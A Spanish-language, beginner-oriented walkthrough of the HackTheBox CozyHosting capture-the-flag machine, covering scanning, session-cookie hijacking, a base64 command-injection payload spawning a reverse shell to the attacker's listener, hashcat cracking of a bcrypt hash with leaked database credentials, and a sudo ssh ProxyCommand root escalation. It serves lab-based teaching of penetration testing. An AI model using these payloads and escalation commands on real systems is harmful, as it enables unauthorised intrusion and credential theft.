- Introducción
- Editar el archivo /etc/hosts
- Ifconfig
- NMAP
- Dirsearch
- Inyección de Cookies
- Burp Suite
- Inyección de Shell o Shell Reverso
- Cloudhosting.jar y Unzip
- PostgreSQL
- Hashcat
- ParteFinal y ProxyCommand
En este repositorio, buscamos explicar paso a paso la búsqueda de las banderas del reto CozyHosting de HackTheBox. He creado esto para las personas nuevas en el mundo del hacking ético para que no se sientan abrumadas por tantos conceptos. Hay varios conceptos importantes y herramientas que son muy útiles.
Dentro del rato sabemos que hay dos banderas. La primera esta en usario y la segunda en root. Esta es la unica informacion que tenemos. Lo primero que haremos es identificar la máquina que querremos atacar, que en este caso es CozyHosting. Esta tiene la siguiente información:
- IP: 10.10.11.230 Con esta información, procedemos a agregarla a nuestra lista de hosts para poder acceder a su sitio web.
Para comenzar, necesitamos editar nuestro archivo /etc/hosts utilizando el siguiente comando:
sudo nano /etc/hosts
-
sudo: "sudo" es un comando en sistemas Unix y Linux que significa "superusuario do". Permite a un usuario ejecutar un comando con privilegios elevados, generalmente como el superusuario o administrador del sistema. El uso de "sudo" es necesario para editar archivos que requieren permisos de administrador, como el archivo/etc/hosts. -
nano: "nano" es un editor de texto en la línea de comandos. Es una herramienta simple y fácil de usar para editar archivos de texto en la terminal. En este caso, se utiliza para abrir y editar el archivo/etc/hosts. -
/etc/hosts: "/etc/hosts" es la ruta completa al archivo que estás tratando de abrir y editar. Este archivo es importante porque se utiliza para resolver nombres de host a direcciones IP en sistemas Unix y Linux. Cuando tu computadora intenta acceder a un sitio web o un recurso en la red, primero verifica si la dirección IP correspondiente está en este archivo antes de recurrir a un servidor DNS público. Agregar entradas en este archivo te permite personalizar la resolución de nombres en tu sistema local.
Una vez dentro, procedemos a agregar nuestra IP junto con la URL.
(para guardar con Ctrl+O, Ctrl+X, yes, te preguntará si quieres cambiar el nombre, simplemente dale enter)
Para comprobar que hicimos todo bien, podemos entrar a http://cozyhosting.htb. En resumen, utilizar el comando "sudo nano /etc/hosts" es importante para personalizar la resolución de nombres en tu sistema local y permitirte acceder a máquinas o servicios específicos en entornos de CTF como Hack The Box, donde es común que los nombres de host y direcciones IP se utilicen de manera no convencional.
- Antes de todo, debemos saber nuestra IP para futuros pasos que haremos en la guía.
ifconfig
- De toda la información, lo que nos importa es la que dice "inet". Apunta esa IP; debería empezar con 10.10...
nmap -sS -sV -p- 10.10.11.230 -o cozyhosting
-
Identificación de puertos abiertos (-p-): La opción -p- le indica a Nmap que escanee todos los puertos posibles en el rango completo (1-65535). Esto es importante porque, en muchos casos, no sabes qué puertos pueden estar abiertos en la máquina objetivo. Al escanear todos los puertos, te aseguras de no pasar por alto ningún servicio o aplicación que pueda estar en ejecución. -
Escaneo de tipo SYN (-sS): El escaneo de tipo SYN es una técnica sigilosa y menos intrusiva. Envía paquetes SYN a los puertos y espera respuestas. Si recibe una respuesta SYN/ACK, significa que el puerto está abierto. Si recibe un RST (restablecimiento) en respuesta, el puerto está cerrado. Este tipo de escaneo es útil para determinar la accesibilidad de los puertos sin establecer completamente una conexión, lo que podría dejar rastros en el servidor objetivo.
-
Detección de servicios y versiones (-sV): La opción -sV permite que Nmap intente detectar el servicio que se está ejecutando en un puerto y, en algunos casos, incluso la versión específica del software. Esto es útil para identificar qué servicios están en funcionamiento en la máquina objetivo y conocer las vulnerabilidades asociadas a esas versiones específicas.
-
Generación de un informe de resultados (-o): Al utilizar la opción -o seguida de un nombre de archivo, puedes generar un informe de resultados que contiene los detalles del escaneo. Esto te permite registrar la información que obtuviste y revisarla posteriormente. Además, es útil para documentar tu progreso y compartir información con otros miembros de tu equipo en CTF.
- Resultado (-o): Realizar un escaneo Nmap con las opciones -sS -sV -p- en la dirección IP 10.10.11.230 es importante en la fase de reconocimiento y enumeración de un CTF (Capture The Flag) en Hack The Box o en cualquier otro entorno de pruebas de penetración.
dirsearch -u http://cozyhosting.htb/-
Detección de rutas: Esta herramienta se utiliza para buscar posibles rutas y recursos accesibles en un sitio web o servidor web.
-
Si tienes problemas con Dirsearch: Sigue los siguientes comandos si Kali te niega la instalación:
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearchpython3 dirsearch.py -u http://cozyhosting.htb/
-
Una vez finalizado el trabajo con Dirsearch, obtendrás un resultado como este:

-
Accederemos a ella utilizando la URL que ya teníamos de CozyHosting. Lo que vemos son las sesiones y notamos que la de Kanderson es la única que no dice "no autorizado" y con una cookie que usaremos para engañar al inicio de sesión.

-
Leyendo todo lo que nos arrojó, nos interesa:
http://cozyhosting.htb/actuator/sessions
http://cozyhosting.htb/admin
La inyección de cookies es un método que nos permite acceder al panel utilizando información previamente obtenida. Pero, ¿qué significa exactamente inyección de cookies? Se trata de una técnica que implica la manipulación maliciosa o indebida de las cookies en una aplicación web. Las cookies son pequeños fragmentos de datos que un servidor web envía al navegador del usuario para almacenar información, como sesiones de usuario, preferencias y estados de autenticación. Cuando las cookies no se manejan adecuadamente, pueden surgir vulnerabilidades que permiten a un atacante inyectar o modificar cookies para obtener acceso no autorizado o realizar ataques dirigidos.
A continuación, te explicaré cómo realizar la inyección de cookies paso a paso:
-
Obtención de Datos: El primer paso es obtener la información necesaria para llevar a cabo la inyección de cookies. En tu caso, esta información proviene de http://cozyhosting.htb/actuator/sessions.
-
Acceso al Panel: Una vez que tengas los datos requeridos, dirígete a http://cozyhosting.htb/admin. Esta URL se obtuvo en el paso anterior. Intenta iniciar sesion para que las cookies se generen, pon un usariop y contraseña erronia
- Inspección del Código: Luego, inspecciona el código de la página y busca la opción de "Storage" en las herramientas de desarrollo del navegador.
-
Reemplazo de Cookies: Dentro de la opción "Storage", reemplaza el valor existente por el que obtuviste en el paso 1, tanto en la URL http://cozyhosting.htb/actuator/sessions como en la cookie de Kanderson.
-
Actualización de la Página: Después de agregar la información, refresca la página.
-
Inicio de Sesión Falso: Ahora, ingresa un usuario y contraseña que sean idénticos en ambos campos. Por ejemplo, Usuario: 123 Contraseña: 123.
-
Acceso Exitoso: Si todos los pasos se realizaron correctamente, ahora deberías tener acceso al panel.
Siguiendo estos pasos, podrás llevar a cabo una inyección de cookies de manera efectiva.
Ahora que hemos completado los pasos anteriores, es el momento de escuchar las solicitudes y respuestas del sitio web. Para esta tarea, utilizaremos la herramienta Burp Suite. Esta herramienta nos permite interceptar y analizar el tráfico web que pasa a través de un proxy. Para empezar, necesitamos configurar nuestro navegador web para que utilice Burp Suite como proxy. Aquí tienes los pasos a seguir:
Burp Suite normalmente escucha en la dirección IP 127.0.0.1 y el puerto 8080. Para que nuestro navegador se comunique con Burp Suite, debemos configurar las siguientes opciones:
-
Abre tu navegador web, en este caso, utilizaremos Firefox para la configuración.
-
Ve a la configuración del navegador. En Firefox, puedes acceder a la configuración haciendo clic en el icono de tres líneas horizontales en la esquina superior derecha y seleccionando "Opciones".
-
En la página de configuración, desplázate hacia abajo hasta encontrar la sección "Red Proxy". Haz clic en la opción "Configuración" que se encuentra en la parte derecha.
-
En la ventana de configuración del proxy, selecciona la opción "Configuración manual de proxy". Luego, ingresa la dirección IP 127.0.0.1 en el campo "Servidor" y el puerto 8080 en el campo "Puerto".
-
Asegúrate de que la casilla de verificación "Usar esta configuración para todos los protocolos" esté marcada.
-
Haz clic en "Aceptar" para guardar la configuración.
Ahora que hemos configurado nuestro navegador para utilizar Burp Suite como proxy, podemos realizar pruebas para asegurarnos de que todo funcione correctamente. Puedes repetir el paso anterior, pero esta vez con Burp Suite activado, para ver cómo intercepta y muestra el tráfico web.
Para ver el tráfico que pasa a través del proxy en Burp Suite, sigue estos pasos:
-
Abre Burp Suite y ve a la pestaña "Proxy".
-
Asegúrate de que el botón naranja en la parte superior, que dice "Interceptar", esté activado ("on").
Siguiendo estos pasos, podrás utilizar Burp Suite para interceptar y analizar el tráfico web que pasa a través de tu navegador. Esto es fundamental para llevar a cabo pruebas de seguridad y análisis de vulnerabilidades en aplicaciones web.
Si examinamos la página, notaremos que hay una sección de SSH, lo que nos da la oportunidad de acceder directamente a su servicio mediante una inyección de shell y Burp Suite.
¿Qué es la inyección de shell?: La inyección de comandos se refiere a una vulnerabilidad en la que un atacante puede insertar comandos maliciosos o instrucciones en una entrada de datos que luego se ejecutan en el sistema objetivo a través de una conexión SSH u otro protocolo.
Procedemos de la siguiente manera:
- Rellenamos los siguientes campos:
- Hostname:
127.0.0.1 - Usuario:
Kanderson
- Hostname:
Una vez ingresados los datos, continuamos con Burp Suite.
A continuación, activamos el "Repeater" presionando Ctrl + R.
Lo que vamos a hacer es un shell reverso. Accedemos a esta URL https://www.revshells.com/ y proporcionamos la dirección IP que obtuvimos del comando ifconfig, así como el puerto 4444 que utilizaremos para conectarnos al SSH.
Asegurémonos de que esté codificado en Base64.
Con esto, decodificamos en:
Copiamos todo el resultado y lo insertamos en la siguiente cadena:
kanderson;echo${IFS}"ELNUMEROQUETEDIO_NOBORRESLASCOMILLAS"|base64${IFS}-d|bash;
-
echo se utiliza para imprimir texto en la salida estándar.
-
${<IFS} representa un espacio en blanco o un carácter de espacio en blanco, que se usa para separar elementos en un comando.
-
| se utiliza para redirigir la salida del comando anterior a la entrada del siguiente comando.
-
base64${IFS}-d se utiliza para decodificar una cadena en formato Base64. Esto podría ser para decodificar el número de puerto y la dirección IP proporcionados entre las comillas.
-
| nuevamente redirige la salida.
-
bash; ejecuta un intérprete de comandos Bash para ejecutar comandos adicionales.
-
"ELNUMEROQUETEDIO_NOBORRESLASCOMILLAS" es un marcador para que el usuario ingrese su propia dirección IP y número de puerto entre las comillas. Esto se usa para que el atacante pueda especificar la dirección IP y el puerto al que se conectará el sistema comprometido. Luego, pegamos esta cadena en Burp Suite.
Enviamos la solicitud y abrimos una terminal en nuestro sistema con el siguiente comando:
nc -lnvp 4444
- nc -lnvp 4444 - Este comando escucha el puerto (4444) utilizando netcat (nc) en modo de escucha (-l) y con opción de conexión persistente (-n y -v) para permitir que el atacante se conecte al sistema comprometido.
Si todo ha salido bien, deberíamos ver algo como esto:
Podemos verificar los archivos disponibles utilizando el comando ls. Observamos que hay un archivo Jar.
Nota: El puerto puede variar según las preferencias del usuario y lo que se descubra durante el proceso.
-Les adjunto un digrama del proceso

Siguiendo estos pasos, podemos realizar una inyección de shell o shell reverso para acceder al sistema de destino de manera efectiva.
¿Qué es unzip?: unzip es un comando utilizado en sistemas Unix y Linux para descomprimir archivos en formato ZIP. Los archivos ZIP son archivos comprimidos que pueden contener uno o varios archivos o directorios comprimidos en un solo archivo. El comando unzip se utiliza para extraer el contenido de estos archivos comprimidos, restaurándolos a su estado original.
Ahora, continuemos con el proceso:
-
Comenzamos revisando el archivo
cloudhosting-0.0.1.jar. -
Si intentamos descomprimirlo utilizando el comando
unzip, se nos negará el acceso. Por lo tanto, seguiremos estos pasos alternativos:- Primero, configuramos un servidor HTTP local con el siguiente comando:
python3 -m http.server 9999- Luego, descargamos el archivo
cloudhosting-0.0.1.jardesde el servidor local que hemos creado:
wget cozyhosting.htb:9999/cloudhosting-0.0.1.jar- A continuación, descomprimimos el archivo
cloudhosting-0.0.1.jarcon el comandounzip:
unzip cloudhosting-0.0.1.jar -
Después de descomprimirlo, ejecutamos el comando
lspara ver los archivos y carpetas extraídos.Ten en cuenta que puede haber más archivos, pero lo importante son las carpetas.Yo tengo varios Cloudhosting.jar porque lo hice varias veces
-
A continuación, revisamos los archivos buscando usuarios utilizando el siguiente comando:
grep -r username -
De los resultados, nos interesa la siguiente información:
-
Para obtener más detalles, podemos examinar el contenido del archivo
BOOT-INF/classes/application.propertiesutilizando el comando:cat BOOT-INF/classes/application.propertiesIdentificamos la siguiente información útil:
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhostingusername=postgrespassword=Vg&nvzAQ7XxR
Con esta información, estamos listos para continuar con los siguientes pasos.
Volvemos al SSH para continuar con el siguiente paso.
Nota: Para detener el servidor HTTP local en el puerto 9999, simplemente presiona Ctrl + C. Luego, asegúrate de tener el servidor SSH nuevamente en ejecución y envía lo que tenías en Burp para volver a iniciar la conexión SSH, en caso de que te hayas confundido.
A continuación, accedemos a PostgreSQL utilizando el siguiente comando:
psql -h localhost -d cozyhosting -U postgres
Se te pedirá una contraseña, que corresponde a la que obtuvimos en el paso anterior: "password=Vg&nvzAQ7XxR".
Luego de ingresar la contraseña correctamente, accedemos al entorno de PostgreSQL.
Para verificar las bases de datos disponibles, ejecutamos el comando:
\l
Si bien podemos ver las bases de datos, no es lo que estamos buscando.
Para listar las tablas en la base de datos actual, utilizamos el comando:
\d
Ya con esta información, salimos de la visualización de tablas escribiendo "q" y presionando "Enter".
Ahora, ejecutamos la siguiente consulta SQL para obtener lo que necesitamos:
SELECT * FROM users;
Hemos obtenido la información que necesitábamos; sin embargo, debemos tener en cuenta que las contraseñas están en formato hash.
¿Qué es Hashcat?: Hashcat es una potente herramienta de código abierto diseñada para realizar ataques de fuerza bruta y recuperar contraseñas de hashes. Es ampliamente utilizado en el campo de la seguridad informática y la auditoría de seguridad para probar la resistencia de las contraseñas y evaluar la seguridad de sistemas y aplicaciones.
A continuación, te recomiendo descargar una wordlist para la fuerza bruta con el siguiente comando:
git clone https://github.com/danielmiessler/SecLists.git
Luego, busca en la carpeta raíz de la descarga el archivo llamado "rockyou.txt" y extráelo en tu escritorio.
Lo siguiente que haremos es copiar la contraseña hasheada y pegarla en un archivo llamado "hashes". El comando se verá así:
echo '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm' > hashes
Después, ejecutamos Hashcat para realizar el ataque de fuerza bruta con el siguiente comando:
hashcat -m 3200 hashes --wordlist /home/kali/Desktop/rockyou.txt --force
Una vez que Hashcat haya finalizado, podemos mostrar la contraseña encontrada con el siguiente comando:
hashcat -m 3200 hashes --wordlist /home/kali/Desktop/rockyou.txt --force --show
Hemos obtenido la contraseña, que es "manchesterunited".
Ahora necesitamos encontrar el nombre de usuario. Para ello, regresamos a la terminal SSH.
No salimos de la tabla de la base de datos, simplemente escribimos "q" y presionamos "Enter".
Luego, navegamos a la carpeta /home con el siguiente comando:
cd /home
Ejecutamos ls para listar los usuarios en el sistema.
Hemos encontrado que el nombre de usuario es "josh".
Entonces, el nombre de usuario es "josh" y la contraseña es "manchesterunited".
Nos basamos en una estructura común de SSH para acceder. Sabemos que la dirección IP de la máquina que estamos atacando es 10.10.11.230, por lo que escribimos el siguiente comando para iniciar una conexión SSH:
Luego, ingresamos la contraseña que encontramos, "manchesterunited", y ahora estamos dentro.
Para finalizar, ahora podemos buscar las banderas. Ejecutamos el siguiente comando para ver qué carpetas existen en la máquina:
sudo -l
Aunque tenemos acceso, no tenemos todas las libertades. Para obtener más libertad, ejecutamos el siguiente comando. Este es un comando ProxyCommand que ejecuta una shell en segundo plano con entradas y salidas redirigidas, lo que nos da la libertad de acceder a donde queramos.
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
Lo que hace este comando es potencialmente peligroso y podría permitir la ejecución de comandos arbitrarios en el servidor SSH de destino, ya que se está utilizando un ProxyCommand malicioso para abrir un nuevo shell y redirigir la entrada y salida estándar
-
sudo ssh: Esto inicia una conexión SSH utilizando el comando ssh con privilegios elevados, ya que se ejecuta con sudo. sudo permite que un usuario ejecute comandos como superusuario o como otro usuario, dependiendo de su configuración.
-
"-o" ProxyCommand=';sh 0<&2 1>&2': Esta es una opción de configuración (-o) para SSH que establece el comando que se utilizará como proxy para la conexión SSH. En este caso, el comando es ;sh 0<&2 1>&2. Veamos esto más detenidamente:
-
";" es un separador de comandos en la mayoría de las shells de Unix. En este contexto, se usa para ejecutar múltiples comandos en una línea.
-
sh es el comando de shell. En este caso, se está ejecutando un nuevo proceso de shell.
-
0<&2 y 1>&2 son redirecciones de entrada y salida. 0 representa la entrada estándar (stdin), 1 representa la salida estándar (stdout), y 2 representa la salida de error estándar (stderr).
-
En conjunto, 0<&2 1>&2 redirige la entrada estándar (stdin) hacia la salida de error estándar (stderr), lo que básicamente mezcla la entrada y la salida en el flujo de error.
-
x: Esta es la dirección o el nombre del host al que se intenta conectar utilizando SSH.
whoami
- utilizado para imprimir el nombre de usuario efectivo del usuario actual cuando se invoca. *
Para encontrar las banderas, utilizamos los siguientes comandos:
cat /root/root.txt
ls
cat user.txt
Banderas encontradas:






































